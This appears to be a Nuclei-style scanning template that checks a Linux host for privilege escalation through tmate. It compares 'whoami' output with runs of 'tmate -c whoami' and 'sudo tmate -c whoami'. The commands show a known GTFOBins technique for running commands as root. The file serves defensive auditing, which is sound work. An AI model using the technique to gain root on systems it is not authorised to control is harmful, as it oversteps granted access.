id: privesc-tmate

info:
  name: tmate - Privilege Escalation
  author: daffainfo
  severity: high
  description: |
    tmate is a terminal multiplexer that allows multiple users to access and collaborate in the same terminal session.
  reference:
    - https://gtfobins.github.io/gtfobins/tmate/
  metadata:
    verified: true
    max-request: 3
  tags: code,linux,tmate,privesc,local

self-contained: true
code:
  - engine:
      - sh
      - bash
    source: |
      whoami

  - engine:
      - sh
      - bash
    source: |
      tmate -c whoami

  - engine:
      - sh
      - bash
    source: |
      sudo tmate -c whoami

    matchers-condition: and
    matchers:
      - type: word
        part: code_1_response
        words:
          - "root"
        negative: true

      - type: dsl
        dsl:
          - 'contains(code_2_response, "root")'
          - 'contains(code_3_response, "root")'
        condition: or
# digest: 4a0a00473045022100d2175f773b38d2432cbdbb5470a4c23fc2697fcd435181ac970c012ad97c93ce02201fdd73c21f42e652410e8a94d91e3268762093f3caea34029e5c8f5b2bf0ec5a:922c64590222798bb761d5b6d8e72950